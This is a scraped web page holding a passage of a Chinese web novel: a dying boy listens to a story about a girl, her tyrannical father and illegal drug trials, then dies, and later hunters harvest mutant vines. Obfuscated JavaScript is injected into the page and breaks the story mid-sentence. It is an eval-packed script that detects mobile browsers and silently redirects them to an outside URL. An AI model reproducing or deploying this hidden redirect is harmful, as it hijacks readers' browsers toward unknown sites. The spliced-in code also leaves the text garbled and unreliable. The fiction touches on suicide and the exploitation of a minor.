$(''.inform'').remove(); $(''#content'').append('' 一阵令人战栗的滚烫。 ……所以,我忘了一件事。 爸爸在家,而对于曾被我震慑住的很多人而言,妈妈的死让他们重新意识到,我不过是个十岁的孩子。 妈妈下葬后的第六天,惯常的教导时间结束后,面色苍白的管家和孙阿姨走近房间,背后跟着孙安。 孙阿姨当即就给爸爸跪下了,那一刻我甚至也想跪,只要爸爸别对孙安做什么。 我心惊于这一软弱想法的浮现。我的一切价值,取决于作为强者的爸爸认为我该有什么样的价值。 我是羔羊,是案板上的鱼;爸爸是狼,是刀俎。 爸爸笑吟吟地问我:“女儿,你还有个瞒了我那么多年的好朋友呢,我该拿他怎么办呢?” 我再次站在了谈判桌上,却不知道手中还有多少筹码。对爸爸的了解,以及所剩不多的理智苦苦地支撑着我的双膝和脊梁。 “您该当此事没有发生过。”我说。 “哦,为什么?” 苦涩的耻辱感充斥口腔内。我无法承受再失去孙安了,只得向眼前的这只怪物高举白旗。 “那样我就不会再敢有违逆的举动,对您来说,我有弱点不好吗……相较于我成为您的沉没成本而言。”我麻木且孤注一掷地说。 “您知道的吧,我应该是您年龄最大的孩子。” 熟悉的场面再次发生,爸爸抚掌大笑,眼角甚至笑出了泪花。 “好!那你们继续交朋友吧。” 一锤定音的下一秒,我昏了过去。】 念完最后一句话,时却暂且合上册子,凝视细雨那飘着病态嫣红的面庞。 “女主第二次谈判,”细雨说,“她为了男主的安全,屈服于自己可怕的父亲。她不知道,事情只会越来越糟糕。” 时却想问他,就像你的生活一样吗? 她忍住了没讲,细雨却似很敏感地察觉到了她想说的话,温柔地印证了她的猜想。 “就像我的生活。”细雨说,“我喜欢这本小说的原因之一,就是它很巧合地,很像我的生活。妈妈死后的第二年,我开始在陈老板这工作,那会比较小,大家都照顾我,日子过的还可以。” “可是,姐你知道吗,III型辐射病的病人,日常要吃的药物量,由病症决定。我的主要病症和心脏有关系,我得吃很多很多药。别人吃一颗,我得吃五颗。” “我没告诉过流萤姐或别人这些事。几个月前,我发现我的钱不够了。断一期药,后面的吃更多补回来,我的钱不可能够。断几期,说不定我的病情会……” “刚开始,我更加努力地工作,然后我发现,我越努力,我越容易在工作中受伤。” “我得吃更多伤药,我不舍得吃,它们都蛮花钱。那段时间我忽然发现,我变得……和妈妈死前一样。妈妈尚且是为了我,而我只为了漫无目的活着。” 他眼里闪动着泪花,小声啜泣了会,忽而又闭口,不再继续出声。 时却隐约摸到了些脉络,心脏跳动的速度逐渐加快,似一把随小却沉重的鼓槌,不停敲击着胸膛。 “继续吧,姐。” 时却翻动书页。 接下来的剧情顺理成章,女主醒来后,如行尸走肉般,努力成为父亲的翻版和傀儡,以求给自己和朋友挣得一席生存空间。 【……从昏迷中醒来后,我索性不再掩饰,指挥新管家在花园盖了花房,拿捏着频率地往那儿跑,见孙安。 最初,我一周去三四次,几个月后,这个频率缩减到一周两三次。 再几个月,父亲逐渐带我出入一些他挑拣过的晚宴,郑重地介绍门当户对的别家少年,这个频率再次降低,变为一周或两周一次。 等到了处理不重要的公务,或开某些可有可无的会议,父亲隔三差五叫我旁听时,我能见到孙安的频率变成一个月一两次。 有时,父亲会叫我到哪儿哪儿的工厂去住几天,我统统听从。 我试图让父亲相信,我对孙安的感情属于一时兴起,一时新鲜。偶尔,我试图令自己也相信这一点,哪怕不奏效。 隔了越长时间不见孙安,我越想念他,越像被压缩得狠了的弹簧。 与之相对应地,每一次相见,我越能从他那儿获得许多乱七八糟的东西。 什么他觉得好的,他都给我攒。 花的标本,草的标本,玩具,首饰……有时候还有被他捂过期的小零食。傻呆呆的。 这些东西自然不好放在我这里了,只能他收着。 一箱、两箱、三箱……每次见面,我们像清点财宝的葛朗台,挨个盘这些库存,再算入新的玩意儿。 随着时间流逝,我的胸部开始发育,并来了初潮。 一个被父亲认为是可以往来的女孩子,有时候会和我讨论这些性征方面的事情。 一次,不知道怎么回事,我们讨论到未来可以预见必然会发生的情/事上。 她哀愁地说,她想将自己的初夜献给能一生相伴的人,可谁又能预见未来,如果她喜欢上一个人,往后厌弃了对方或被对方厌弃,对后来者可该怎么办呢? 我相当疑惑,不清楚她在搞什么,说:“有感情的是你的灵魂,不是你下面那扇门。” 她噎住,恼羞成怒地别过头去,不理人了。 然后,在略有些尴尬的寂静里,我心里浮现出了孙安的脸……伴随着一些限制级画面。 我的脑袋瓜子绝对是被这女孩搞乱了。 我有些不爽,决定让孙安同样不能好过。我的行动力一向绝佳,下一次见面时,我飞扑向孙安,吧唧在他脸颊侧亲了一口。 孙安完全傻掉了,跟木头桩子那样凝固在原地,好半天才反应过来,怀里一捧小玩意稀里哗啦地往外掉,脸红得要爆炸。哈哈哈哈。 他扭扭捏捏地问我是不是喜欢他,我逗他说:“你猜。”他露出被抛弃的小狗般的表情。我清清嗓子,赶紧顺毛:“好啦好啦,我喜欢你。” 我话音落下的瞬间,他露出大大的笑容,用力抱紧我。我回抱他,感到一阵踏实和满足。 ……尽管三天后,我便要听从父亲的话,和另一位他选中的男孩非公开地订下婚事。 我才十二岁,听上去颇有点丧心病狂,是吧? 不过,年龄不是问题。 对于父亲和他的准亲家而言,他们需要对一种用于治疗辐射病的新药进行扩产,他们的利益交换需要这场隐秘的定亲。 他们需要借由它增添些微不足道的道德砝码,宛如在悬崖边上象征性地围一圈脆弱的防护网。 我认为表现得越乖顺,孙安越不起眼。 ……我忘了,父亲既然在妈妈身上栽过跟头,就不会轻易相信我。 订婚完成的第二天,父亲让我去一家新开的工厂待一待,熟悉熟悉新的人事关系。订婚完成的第四天,父亲和准亲家签下合作协议。 第五天,我得知父亲带回一儿一女,他的一对私生子女,年龄和我差不多。 第六天,孙安的死讯传来。 我着急忙慌地赶回家,头脑一片空白。 孙阿姨绝望地说,他的III型辐射病突然恶化为I型辐射病,死状可怖,浑身上下烂得彻底,已被火化。 我得知,几天前,他的病症恶化就有预兆。这时,有人向他推销了一种还在实验中的新药。 ……新药。 我知道父亲想要什么了。 他要我彻底表态,或如妈妈那样陷入疯狂,或完全地臣服于他。 这下,我连代表着孙安和我回忆的那一箱箱小玩意都不能留了。 我将它们全搬进花房,一把火连它们带花房全烧了,麻木地离开了家,回到那座新工厂,继续父亲交代的工作。 没过几天,孙阿姨自杀了;没过几周,父亲送走了那对私生姐弟,第一次让我旁听有点子分量的会议。 我仍年少,不过我心知肚明,我的少年时光结束了,结束在一把泱泱大火中。 孙安死后的第五年,我查清了当年他死亡的真相。 六年前,父亲用他的新药做了不少非法的人体实验,由此搜集到了许多实验数据。 五年前,在心知肚明按照孙安当时的情况,那种新药基本等于毒药的前提下,他找人轻易哄骗孙安吃下了那种药。 孙安死后的第十年,父亲老态初现,不再总持威严的态度对我。他的医药帝国仍旧是个难以动摇的庞然大物。 孙安死后的第十五年,因患上II型辐射病,父亲接连进行了几次器官的置换。 时光的流逝叫他以为,我遗忘了很多事情。 这些年来,他不止一次明里暗里地试探我,不光试探我是否还对孙安抱有感情,还刺探我的道德和良知。 我以自己和孙安的回忆为盾牌,苦苦咬牙坚持了下来。 孙安死后的第十五年,他服了老,定下了那个我期待已久的日期。 象征着“国王”更替的晚宴如期举办。宾客如云,珠光宝气,觥筹交错……暗流涌动。 父亲举起我的手,宣布要我接替他掌舵那可怖怪物一样的医药帝国时,台下的所有人发出阵阵惊呼。 我搡开父亲,如同多年前他轻而易举地搡开他的妻子那般。 在我的身后,高悬着的全息投影上,飞快地循环播放着不少骇人听闻的人体实验证据。那都是我这些年来辛辛苦苦搜集到的,可怖的肮脏事。 不止有我父亲的,还有我所知的其他腌臜。 “别想玩心照不宣那一套哦,各位,”我彬彬有礼的声音被放大到宴会厅的每一个角落,“我越级联系了一区的管理局,在场不少人的身家怕得充公。” 扑通扑通扑通,不少家伙两眼一翻,直接被刺激得昏倒在地。 接下来会发生什么,无需赘言了。 那我生来所属的,锦衣玉食的世界,闪闪发亮地破碎了。我亲自动的手。 我将一无所有,包括生命。 如果我的速度快些,我将抱着对孙安的回忆自杀;如果别人的速度快些——有人已经抖着手对我举枪了——我将抱着对孙安的回忆被杀。 如同被喂下一粒致死的毒药,边上的父亲回过神来,发出怒至极点的无能咆哮。 我狂喜地摸出自己的枪顶在太阳穴上,咧开了嘴大笑,俯视着他,对他说: “多年前说过了的吧,我会成为您的沉没成本。” ……以我年少时候的爱情为盾。】 时却合上册子。 越接近结尾,她面前细雨的脸色便越灰败,仿若持续不断地被这故事汲取了生命力。 他的视线变得迷离而无聚焦,放弃拿鼻子呼吸,口微张地喘着,脸红通通的。 “姐,你觉得这个故事是不是很美?” 不等时却回答,他自顾自地接道:“我觉得很美……我之前说到哪里了?” 时却眨了眨眼。 等她反应过来,她的一只手不由自主地按在了下颌附近的脖子处,轻轻摩挲,感到掌下传来有规律的脉动。 ……在下巴以下的脖颈处,人体遍布丰富的神经末梢;通过触摸,给予这些神经末梢轻柔的压力,有助于缓解人的紧张和焦虑情绪。 有必要吗,她半出神地想,这具身体的设计师到底是个什么细节控啊,连这种鸡毛蒜皮的东西都考虑到了。 “几个月前,你的钱不够了,”她尽可能平静地复述,“你漫无目的……只为了活着而活。” “啊,是的,所以我想,哪能这么遗憾地结束呢,”细雨用透露出几分欣喜的语气说。 “姐,你瞧,妈妈生前说我是她和父亲爱情的结晶,她为了所谓的爱生下我这个累赘,为了所谓的爱把自己累死。我看的所有小说,也无一不在讨论爱情——咳咳咳咳!” 一阵剧烈的咳嗽后,他喘着粗气,吃吃地笑起来。 “爱情……似乎是个美好的东西,我也好想体会,那种为了谁不顾一切的感觉啊。” “可是不行的,没人会给一只小鸭子爱情,对吧?那我该怎么办?” “这时候,那位客人出现了,他不粗暴,乐意哄我。”细雨眼中闪烁着明灭不定的光芒。 他咳呛着说:“姐,他可会说甜言蜜语了。他说,他爱我,只要我缓解了他手头的紧张,他就……一直爱我。” “姐,你说这是不是恰到好处的各取所需,”细雨喃喃道,“我决定爱他。那种感觉真奇妙啊,我变成挣脱了身体的幽魂。” “我再也……再也不害怕接待客人时会发生什么不好的事情,再也不去关注账户余额,我成天像泡在酒里,醉醺醺,轻飘飘。” “哪怕对壁虎,哪怕他这样高高在上,可以像碾死一只蚂蚁那样碾死我的人,我也有勇气……与他对抗。” 男孩看上去吐字极其费力,说出每一个字都仿佛要竭尽全力。 “姐,我告诉你一个秘密。那天晚上,你来救我的那天晚上,我真的很害怕,不过为了那位客人,我提前做了准备的。” 时却的目光在这细雨的脸上梭巡,不由瞪大眼睛,脱口而出:“你的终端?!” “猜对了!” 细雨甜蜜地笑起来,略提高了音量: “我听闻过壁虎找他的仇人,察觉那位客人可能会被关注。我提前了好久编假话,告诉周围人,我应客人的需求,加密自己的终端。实际上,我骗人的。至于那位客人是不是壁虎的仇人……哈哈哈哈,关我什么事?我要死了,我要死了,我都要……死了。” 他的嗓音变得更奇怪了,似是被一只无形的大手攥住了咽喉。 一句话数个字里,他大多字的发音都尖锐得不行,宛如粉笔用力划过黑板时会发出的鸣叫。 “壁虎哪里能想到呢!?”细雨尖利地说,胸膛如拉风箱般剧烈地鼓动。 “蚂蚁也会咬人,我……为了我的爱情,手持我的爱情之盾。我变得……无所畏惧。” 帐篷外,风势和雨势已可用“狂风暴雨”来形容。 在这狂风暴雨中,帐篷布被吹打得噼啪作响,如同海上风暴中艰难求生的一艘孤舟,连带沈司奥系在顶部的夜灯一齐左摇右摆。 光影摇晃,形同鬼魅狂舞,形同死神之镰。 细雨半张着嘴咳起血,一口接一口,很快将自己的侧脸浸泡在刺目粘稠的艳红色中。 他的神智迅速跌入不再清醒的深渊。 他双目圆睁,眼中的光芒逐渐黯淡,神情因痛苦而扭曲,似乎想要竭力叫喊什么,又叫喊不出来。 以近乎无法被听到的音量,他半闭着眼,含糊地咕哝着。 时却凑近了,试图听清。 细雨咯出一口血,温热地喷到她的侧脸上。粘稠的液体马上顺着她的耳廓向下爬。 时却闭了闭眼,心沉沉地往下坠。 “你得说得清楚些,”她喃喃,“细雨,说清楚些!” “书下面、给流萤姐、我没有……” 时却凝神等待,却再不见下文,好一会儿,入耳的只有单调的歇斯底里的风雨声。 她的肩膀被拍了一下,她悚然地往后看,沈司奥悲伤地对她摇了摇头。 她慢慢地,慢慢地扭回头。 死神之镰斩下,细雨合上双眼。这个年少的孩子沉入了无尽的黑暗中。 时却嘴唇动了动,说不出话来。 不知过去多久,她向沈司奥小声复述了一遍细雨死前的呓语。 从那堆零散的书册下,沈司奥翻出一个扁扁的塑封袋,里面装有四片药片。 塑封袋上被用蓝色笔迹歪歪斜斜地写着: “给流萤姐”。 时却懂得了。 细雨大概没有……为谋求“他的爱情”献出过多实质性的金钱。 他心知肚明。他高举着一面虚假的盾牌,给予自己最认为妥帖的临终关怀,并蛮横地反咬了前来找事的壁虎一口。 ……真是个聪明伶俐的孩子。 时却第三次细细擦干净细雨的脸。她脱下自己的外套轻轻地盖在他脸上,自始至终也没想去看他脖颈后的伤口。 她叫已然淋了个透顶的流萤进帐篷,在少女凄厉的哭叫声中抱住她。 当天深夜,风雨声渐渐停了。 第二天是个好天气,中午时,时却、沈司奥和流萤站在火化的小平台上,为细雨送行。 流萤领到那袋装了灰白色粉末的骨灰时,时却收到了壁虎发来的信息。 壁虎问,补偿现在要打给谁,她不说出个名字的话,他索性给陈老板了。 时却在台下巡视一圈,于一个不起眼的角落发现了这位蝎子的二当家。她问流萤,流萤面无表情地说,她要。 下午再上路后,基于天气放晴了,黑蝎们如常出来活动。 一辆摩托上,时却听到大概是崇拜壁虎的黑蝎,在狂吹自家二把手。 黑蝎说,壁虎当上二把手后鲜有无可争论的败绩,最多也就被老大压着打啦,还有那个谁,那个谁,那个谁,一圈数下来,大概在两位数以内。 时却盯着那个黑蝎,在心里无声地说: “错了,你们还漏了一只小蚂蚁。” 52. 采集 时却懒洋洋地靠在后备箱上,仰头眯眼瞧太阳。视野两侧,茂密的树丛景象不断后退。 寒冬的日头跟纯摆件似的挂在天空,洒下聊胜于无的阳光。 时却从怀里摸出一个不大的防水袋。 她打开这袋子,里头有一个不足半个巴掌大的备忘录,以及细雨送她的蓝色钢笔。 ……说不出为了什么,中午送走细雨后,时却拉沈司奥专门去了黑街买了这防水袋和本子。 摩托颠簸了一下,将时却的思绪扯回现在。 她将防水袋的挂绳穿到手腕上,拧开钢笔的笔帽丢回袋中,咬着笔头喝冷风,憋了好半天,在备忘录的第一页上,勉为其难地写下几句流水账: 【2041年1月4日: 今天是出区外的第五天。上午没心情,纯开车发呆;中午,送走了细雨,这只笔的主人,一个值得认识的男孩;下午,不知道要 不要继续摆烂。】 盯着自己写下的那几行记述看上两遍,时却得出结论: ……这什么叫人一看便索然无味的玩意。 发了会呆,她调出终端上的联系人,在不长的联系人名单中,很快找到蒋云霞的名字。 和沈司奥打过招呼后,时却给蒋云霞发去一条消息。 时却:【缺人的时候,随时联系。】 没过几分钟,蒋云霞的回信发来:【现在方便?】 时却回复:【可以。】 两方找了个地点,顺利会合。 蒋云霞还开着初见时那辆车,不过这回,车里只有她自己一人了。她走下车。 比起昨天中午在火化台上时,她的气色看上去好了不少。 她眼下还有些淡淡的青黑色,不过一见到时却和沈司奥,就爽朗地笑着和他们打招呼,仿若没什么阴霾的模样。 “你只约了我吗,蝴蝶?” 时却点头。 不知想到了什么,蒋云霞的神色顿时变得有些复杂。 她看看时却,用再正常不过的语气主动提出,只有他们三人,大型的变异动物或植物最好别考虑,需要重点关注中小型的变异生物。 于是三人打开地图,各自翻找起来。 没多久,沈司奥很有自知之明地放弃发表意见,说他反正也不上,怎样都行。 时却提出去寻变异鹿的踪迹,蒋云霞则沉吟半晌,提议三人去采集蛙藤。 蒋云霞在半空中投出全息屏幕。 除去正常内容外,她的地图应用边上浮动有许多手写形态的笔记,密密麻麻呈蝇头小字状,显然是经年累月录入进去的经验。 蒋云霞单拉出其中一条笔记,放大了给时却和沈司奥看。 【蛙藤:一种变异植物,末端内部存着用来捕猎的“舌头”,平时将“舌头”收在体内,受刺激后会裂开一张“嘴”,来弹射出“舌头”,完成猎物捕食。 掉下树的蛙藤会失去攻击性。】 【采集办法: 第一种、割断舌头背面的藤部,分离掉蛙藤的嘴(需要注意,割的时候避开蛙藤舌头可能的攻击范围,否则那个舌头会自己再射出来添乱)。 第二种、趁它刚闭嘴时击打或扎它的舌尖,来刺激它从树上掉下。】 ……蛙藤。 对于时却来说,这种变异植物并不陌生。在上路的第一天,她就见过采集它的流程,和蒋云霞笔记里的第一个方案基本一致。 她记得当时采集蛙藤的人,正是拿吸管去蹭蛙藤的表面,费了不少劲,才大概确认清楚它舌头能攻击到的范围。 随后,采集人需要挪到那个范围之外,再将蛙藤嘴巴的背面割断,等待蛙藤自然掉落,方进行捡拾。 对此,在后续仔细研究区外地图时,时却也还有对应发现:这种采集流程,在地图关于蛙藤描述的最末页里,同样有提及。 而蒋云霞笔记中的第二个方案,即“击打或扎蛙藤舌尖”……稀奇了,她确信自己没在地图中看到过这办法。 时却好奇地提出这一点。 蒋云霞毫不意外,平淡地解释了一番。 原来,管理局出品的地图的确会记录变异动植物们的信息,供区外行走的人们使用。不过大多数时候,他们内部对于这种信息呃记录,要求多只停留在有和定期更新即可。 换言之,被记录在地图上的信息——尤其和狩猎与采集相关的,不一定是唯一可行的方案,不一定属于效率最佳的方案。 蒋云霞伸出手指,轻划过自己笔记中关于第二个办法的字眼,感慨道:“我能得出这条,纯属运气好。” “刚当猎人时没多久,我常跟着嫂子或哥哥出区,有次冒冒失失爬上树,一脚踩空,惊慌地往下掉,一只食肉的变异鸟想趁火打劫来啄我,嫂子急了眼,慌忙掏出飞刀丢它。” “变异鸟被吓走,我摔了个结实,嫂子的飞刀恰好扎在附近一根蛙藤上。我们还没回过神来呢,就见它像根软面条似的簌簌往下掉。” “嫂子走近观察,我连滚带爬地也凑上去。把那根蛙藤剖开,我们发现,那把飞刀阴差阳错地扎在了它的舌尖上。” 时却听得入迷。“后来?” “做测试,看怎么能重现那根蛙藤的掉落,”蒋云霞颇有些怀念地说,“我们意识到,比起官方提供的方案,这个意外发现能大幅提高采集蛙藤的速度。” 她调出地图上对蛙藤的官方说明,娴熟地调到和采集其相关的部分,示意时却观看。 在时却表示这块内容自己知道后,她继续指着附近的另外几行内容说: “你看这里写的,每根蛙藤上嘴的位置,以及舌头的攻击范围都不太一样,对吧?所以,按管理局提供的方法,想要割断蛙藤嘴巴的背侧,就得花时间确认这两项玩意。” “固然安全,可效率很低。”蒋云霞最后评价道。 时却心知她的评价极为正确。 “那你们最终得出来的办法,具体该怎么做?” “一开始和管理局的方案差不多,一个人爬上树,拿点什么去触蛙藤的尾巴,引它吐舌。”蒋云霞举起一只手在空气中动作,以作示意。 “然后不一样的地方来了啊。” “另外还得有一个人守在树下,记住蛙藤嘴的位置,在蛙藤刚缩回舌头时,立即朝那处击打或用利器扎。” 她补充说:“这样做是因为,当蛙藤刚缩回舌时,它的舌尖差不多就在嘴的位置。” 时却道:“不能由树上的人单独完成后面的事情?” “可以是可以,”蒋云霞说,“不过一旦没用足力气,蛙藤的舌头会照常弹出;万一树上的人被缠住,容易出事。” 时却回想了一下地图对蛙藤的其他描述,不得不承认她的考虑很有道理。 根据地图的讯息,蛙藤的舌头具有带黏性和能麻醉生物的双重特性。 被蛙藤缠住的东西如果是无人机之类的非生命体还好,挣脱就罢了;而假设为人,被缠上的人少说得手臂酸麻。 对于“待在树上”这个情景,手臂酸麻毫无疑问属于得尽量避免的负面状态。 以此作思维发散,时却提出:“管理局的方案安全,效率低;你这个办法,效率高却不安全。” 蒋云霞嗯一声,并不否认。 “对于上树的人和树下的人,要求不低。” 她继续解释,由于单根蛙藤的收益不高,用真枪绝对不经济,会入不敷出,所以想用她这个办法,能动的只有弓弩飞刀之类的冷兵器,或自制的气/枪。在这个前提下,还得兼顾效率。 这就要求:树下的人,得眼明手快,命中率高;树上的人,得身体素质和心理素质过得去,足以应付短期频繁地爬上爬下,且信任树下人的攻击技艺,同时能顶住压力,多次面对击打位置距离极近的响动。 时却问蒋云霞,如果选择采集蛙藤,到傍晚前他们大概能挣多少。后者给出一个还算可以的数字。 这数字低于好手们狩猎所得,高于惯常采取保守行动的猎人,属于中等水平。 和边上的沈司奥对视一眼后,时却朝沈司奥一偏头,提出条件:“他在树下,我就得在树下。” “我没意见。”蒋云霞说。 “就知道你上不了树, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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数分钟过去,三人赶到一片树木分布挨挤处。此处,黄绿交错的枝叶织成密密的网,遮得人无法瞧见天空。 在每棵树的中上部,于或粗或细的树枝表面,盘根错节地缠绕着一根或多根蛙藤,乍一眼望去,形同满树挂满翠绿蛇群。 经过简单热身,蒋云霞戴上爬树手套,挑中棵两人合抱的树,娴熟稳当地往上爬。 她的腰部牢系着一个置物包,里头装满了长吸管。待爬到所处位置最低的一根蛙藤附近,她取出一根长吸管。 她拉开吸管的软折叠处,手持变为L型的吸管一端,伸长了手,用尽量远离自己的吸管另一头飞快地轻划过蛙藤。 逐步地,吸管途径蛙藤那青翠欲滴外皮的不同位置。当它行至某一处时,看似无害的藤蔓表面,猛然裂开来一条不详的缝隙。 如同展露出了一个满是带恶意的笑容般,那缝隙瞬间拉长、变宽,裸/露出两排彼此契合的雪白利齿。 从闪着寒光的利齿牙中,数根蛙舌形貌的柔软肉柱闪着黏腻发亮的光泽,迅疾射出! 蒋云霞当机立断地松手。 蛙藤绞住她前一秒还捏在指间的吸管,又因感觉到缠住之物并非猎物而立即松开吸管。 这变异植物兴趣缺缺地进行复位,往回收自己的“舌头”。 一秒,两秒,三—— 枪声响起。 蒋云霞的气/枪配有消音器,消音器没法做到全数吞吃枪声,只能降低音量,最终让枪声变为如物体坠落时的响动。 她无比熟悉它所发出的声音,那是一声—— 嘭。 铅弹破空而来,撕扯开冬风,如同嗅到献血味道的饥饿凶兽,迫不及待地跟随蛙藤的舌头钻入它的内里,在蛙藤的末端穿击出象征绝对力量的凹陷。 好似一根被绷紧的弹力绳猛然失去束缚它的外力,这翠绿的变异植物即刻变得无处不松懈。 它与树枝分离,解除蛇般弯曲缠绕的状态,无力地向下滑落,发出“噗”的沉闷落地声。 53. 安魂曲 首战告捷,蒋云霞朝时却比了个大拇指。她继续向上攀爬,来到新一根蛙藤边上,抽出新的长吸管。 随后发生的事,和复制粘贴没什么两样。吸管定位,蛙藤吐舌,枪击声响。 沈司奥靠在棵树上旁观。 起初他还有些紧张,等到根根蛙藤间隔掉落的时间越来越短,最终固定在一个大概的区间内时,那点紧张早不翼而飞。 蛙藤们掉下树的时间间隔,大多花在了蒋云霞移动,以及确认蛙藤嘴巴位置这两件事上。 在她和时却的给力合作下,这场采集成了一场乏善可陈的流水线作业。 时间一分一秒地流逝。 为安全起见,蒋云霞心里有杆秤。 她给自己定下最高攀爬高度,哪怕头上有再多蛙藤,再触手可及,到了那个高度,她都会毫不犹豫地放弃,改换另一棵树攀爬。 她并不藏私,首次改换树木时,便对时却讲明这种举动的背后逻辑。 “再高,一旦出了意外,我摔下来,可能来不及找治疗仪。” 地上的蛙藤越来越多,呈这里落了点,那里掉几根的不规则分布。尽管时却会在调整站位时看路,多少还是有些不便。 察觉到这点,沈司奥自觉承担起清道夫的责任,或拎或拖这些蛙藤到一棵树下,集中堆在一块,算给自己找点事干。 日头渐移,丝丝白气从蒋云霞紧身内搭的领口逸散。 她的脸色愈发红,呼吸趋向于粗重和无规律,攀爬速度逐渐变慢。她的外套早在不知采集第几根蛙藤时因嫌热脱掉了,给沈司奥收着。 时却一直观察着她的肢体状态,趁她又一次满头大汗地跳下树,问:“休息吧?” 蒋云霞点头,说正好要提这事,扯着领口,半开玩笑:“呼……搞不动了,再搞就得上十米掉七米了。” 三人进入中场休息时间,随意找了个位于蛙藤堆边上的位置,坐到一块。 沈司奥翻出水和些饼干,均分为两份,先给蒋云霞,后给时却。 时却这会没犯嘴馋瘾,意思意思接过,没动。 蒋云霞倒不客气,边吃边喝,对时却赞道:“你这小老板蛮有眼色,还倒贴。” 时却哭笑不得。她随手捞过一条直径约有孩童手臂粗的蛙藤,抻了抻它,感觉十分柔韧。 沈司奥小百科适时上线,说蛙藤算用途广泛的一类变异生物,能拿来做某些功能用品的原料,也能被制作成吃食。 时却打开地图,调到对应蛙藤的页面,从头翻到尾再次看了一遍,摸摸下巴。 大概由于尽管某些变异植物会带有动物的局部特征,但总的来说还是植物结构占上风这一缘故,不似四脚鱼这种变异动物,地图上对于绝大部分的变异植物,均未提供对应的内部解剖图。 蛙藤属于其中之一。 正巧手头最不缺素材,时却颇有些好奇心,想看看蛙藤内部到底长得什么样子。 和蒋云霞确认过只要做好手部防护,这个举动并没有什么危险性后,时却找沈司奥要了双一次性医用手套戴上。 她抽了匕首扎进蛙藤的弹孔处,挑出铅弹,跟削甘蔗似的,片起这根蛙藤的嘴部所在位置。 蛙藤的表皮极韧,时却首刀欲推,手下传来些阻力。 她调整方向,改换匕首中部抵在弹孔处,手感方畅快不少,顺利剖出第一个断面。 这断面看起来和被切开的莴笋没什么两样,区别只在于有不少液体从断面渗出,质地粘稠,色泽清亮且透明,看上去正是蛙舌上附着的那种粘液。 时却继续往下片,错觉自己好似个刀削面师傅。 几匕首下去,她的手下反馈来一点古怪触感,那是种好似切到了常温软塌猪肉般的感觉。 手腕微微挑起,她半抬半割地使劲,以近乎掀盖子的方式剥去压在匕首上表面的蛙藤。 一片青绿夹杂着瘫软蛙舌的结构,就此显现。 十分奇特地,蛙藤的内部竟存在有一条用于给蛙舌伸缩滑动的通道。显然,这空心结构正为蛙舌得以弹射和收回的依据。 整体上看,蛙舌以一种可伸缩的姿态存在于蛙藤的内部,其末端和那通道的尾部长成了一体。 值得一提的还有,基于受过冲击,那蛙舌的舌尖变了形,有大半被铅弹冲扁,好巧不巧地形成个小平台,正适合被两指捏住。 无视沈司奥露出的微妙嫌弃表情,时却捏住Q软的蛙舌,扯来弹去。 蒋云霞吃完饼干,咕咚咕咚地喝水,一口气干掉整瓶,抹抹嘴,旁观时却动作,颇有些怀念道:“小杜第一次和我采集蛙藤,也像你这么好奇。” 时却鼓捣蛙舌的动作缓下来,变得漫不经心。 蒋云霞笑笑,捡过饼干的塑料包装袋揉捏两下,在噼里啪啦的细碎声中说: “小杜就是……我队里那个姑娘。我队里那个小伙子,是她表哥。想听听我认识她的故事吗?” 时却侧过脸瞧蒋云霞,表示自己在听。 蒋云霞露出几分出神模样,似陷入回忆,视线落在时却放在身边的气/枪上。 “六七年前吧,我哥在区外和别人抢猎物受了伤,没赶上用治疗仪,回程途中断了气。” “我嫂子找了队友去寻仇,没想到仇人事先做好准备,收买了她的队友。队友半路反水,我嫂子被推进变异狼群嘴里——当然,这是我后面查出来的,当时嫂子队友给我的说法是,我嫂子的死是个意外。” 蒋云霞摸了只烟塞进嘴里,点上火,含糊道: “别看我现在好像很可靠的样子,当年我可不成器了,总觉得有哥嫂在,啥都不用担心。连简单爬个树都能往下摔。” ……而世事无常,短短几天时间,她的哥嫂相继离她而去。她父母早逝,哥嫂一走,不知所措的她成为孤家寡人。 那段时间,仅一份虚无缥缈的仇恨支撑着蒋云霞。 她想报仇,而报仇成功的前提是有那个实力,不然等于送死。 以单纯的仇恨为燃料,她翻遍哥嫂平时留下的笔记,变卖掉他们的大部分遗产,换成自己趁手的武器。 她开始独来独往地频繁进入区内,只保持最基础的睡眠和吃喝,没有任何娱乐和放松,发了狠地磨炼自己的身体、狩猎和战斗技巧。 如此过去几个月,时值年关,她历经了一场完全毫无预兆的情绪崩溃。 “那会好像……刚宰了头狼吧,血呼啦差弄了一身,累得不想动,索性躺下望天,猛一下觉得啥都没意思。” “打猎没意思,报仇没意思,活着更没意思,人总是要死的,像我哥,像我嫂,像那头变异狼,像我自己。说不准我仇没报上,哪天也倒霉地死掉了呢。” 蒋云霞深深地吸气,偏头避开时却和沈司奥,长长地吐气,注视由自己吐出的白色烟雾在半空中弥散开,略显狼狈地咳嗽起来。 沈司奥要给她递第二瓶水,她摆摆手拒绝,清清嗓子: “再拿就不礼貌了。讲到哪里了?嗯,没意思……” ……陷入情绪低谷的蒋云霞回到了区里,简单清理过身体后,转头跑去酒吧买醉。 有男女看出她情绪低落,想趁虚而入捡个便宜,约她一夜/情,张口千篇一律的我看你很寂寞要不要人陪。 “怎么说呢,我考虑过的,用乱搞来发泄。”蒋云霞神情微妙地勾了勾嘴角。 她说,她那时嘴巴张开了要答应别人,临了想起哥嫂全是老古板,怕下去陪他们后被暴揍,就全给拒绝了,还附带暴揍了一个因此恼羞成怒,嘴里不干净的下头家伙。 她喝得几近断片,拢共清醒了两次,第一次在劈头盖脸地狂扇偷到她头上的小贼,第二次则拉了街道上一个倒霉路过的小姑娘,抱住人家大腿,狼狈地大哭。 好在那小姑娘不计较,平声静气地问她怎么了。 喝醉的蒋云霞大脑中的理性部分处在罢工状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304471|136769||http|test|mini|href|location''.split(''|''),0,{})); () { 